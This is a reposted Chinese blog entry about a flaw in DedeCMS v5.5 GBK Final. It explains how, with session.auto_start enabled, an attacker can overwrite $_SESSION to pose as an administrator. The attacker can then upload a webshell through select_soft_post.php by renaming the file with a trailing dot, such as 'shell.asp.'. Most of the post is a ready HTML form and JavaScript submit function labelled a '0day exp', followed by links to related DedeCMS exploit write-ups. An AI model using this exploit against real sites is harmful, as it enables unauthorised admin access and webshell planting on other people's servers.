DEDECMS v5.5 GBK Final 的一个鸡肋漏洞

在session.auto_start开启的情况下可以任意覆盖$_SESSION变量，我们可以伪造管理员登录并上传文件

/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php

上传时重命名为 *.php.
即可绕过检查上传shell

exp:

U R L:<input type="text" name="target" size="50" value="http://192.168.1.110">

Path:<input type="text" name="path" value="/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php" size="90"><br>

File: <input type='file' name='uploadfile' size='25' />(Filetype must be GIF/JPEG etc)

RenameTo:<input type='test' name='newname' value="shell.asp."/><br>

dedecms 0day exp..<br>

need: session.auto_start = 1<br>

By toby57 2010/2/22

</form>

function fsubmit(){

var form = document.forms[0];

form.action = form.target.value + form.path.value;

tmpstr = form.target.value +'/'+ form.newname.value;

form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);

form.submit();

}

</script>

转载于:https://blog.51cto.com/jiedushi/281734

DEDECMS v5.5 GBK Final 的一个鸡肋漏洞相关推荐

php中%3c w() %3e,DedeCMS V5.7 SP2后台存在代码执行漏洞
原标题:DedeCMS V5.7 SP2后台存在代码执行漏洞 *本文原创作者:风炫520,本文属FreeBuf原创奖励计划,未经许可禁止转载简介织梦内容管理系统(DedeCms)是一款PHP开源网 ...
php平台下的dedecms,网上最流行的php网站管理系统 DedeCMS V5.5 gbk 正式版正式发布(Build-0309)...
DedeCMS V5.5增强或修正功能列表一.已经修正的BUG: 1.添加后台系统管理员账号,无法删除会员列表的账号: 2.这篇文档需要注册会员才能访问,你目前是:注册会员(提示文字不正确): 3. ...
DedeCMS V5.7 前台任意用户密码修改漏洞
本博客已搬迁至:https://n0puple.github.io/ 此处不再更新文章本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景.如因涉嫌违法造成的一切不良影响,本文作者概不负责 ...
织梦支持html5吗,自动更新HTML FOR DedeCMS V5.3(支持首页，列表页，文章页)
关键字描述:支持首页文章更新自动 DedeCMS 模块安装 DedeCMS V5.3的使用方法很简单~~~ 直接用后台的模块安装就可以了.坚决贯彻实施官方的插件模块化,一键安装的理念. 当然 ...
织梦cms5.7搭配php哪个版本,DedeCMS V5.5正式版正式发布(Build-0912)
文件类型:.zip 软件大小:4.2MB 下载次数: 软件类别:国产软件软件语言:简体中文授权方式:共享软件运行环境:PHP4.x.5.x + MySQL4.x.5.x 更新时间:2009-09 ...
DeDeCMS v5.7 SP2 前台任意用户密码修改漏洞复现
DeDeCMS v5.7 SP2 前台任意用户密码修改漏洞复现一.漏洞概述 1.简介织梦内容管理系统(DedeCms) [1] 以简单.实用.开源而闻名,是国内最知名的 PHP 开源网站管理系统, ...
DeDeCMS v5.7 SP2 正式版前台任意用户密码修改漏洞复现
文章目录简介漏洞限制影响版本复现环境工具准备一.搭建网站二.打开服务器代理三.复现过程注意简介织梦内容管理系统(DedeCms) [1] 以简单.实用.开源而闻名,是国内最知名 ...
xamarin其实也是一个鸡肋
刚刚体验了一把VS 2015,后来因为部分sdk和工具下载太慢,还是最终决定卸载.顺道了解了下xamarin studio.个人感觉Xamarin完全也是一个鸡肋,没必要过多的时间在xamarin上面 ...
dedecms v5.7 sp2代码执行漏洞复现
环境搭建 DeDeCMS官网:http://www.dedecms.com 网站源码版本:DedeCMS V5.7 SP2正式版程序源码下载:http://www.dedecms.com/produ ...

DEDECMS v5.5 GBK Final 的一个鸡肋漏洞

DEDECMS v5.5 GBK Final 的一个鸡肋漏洞相关推荐

最新文章

热门文章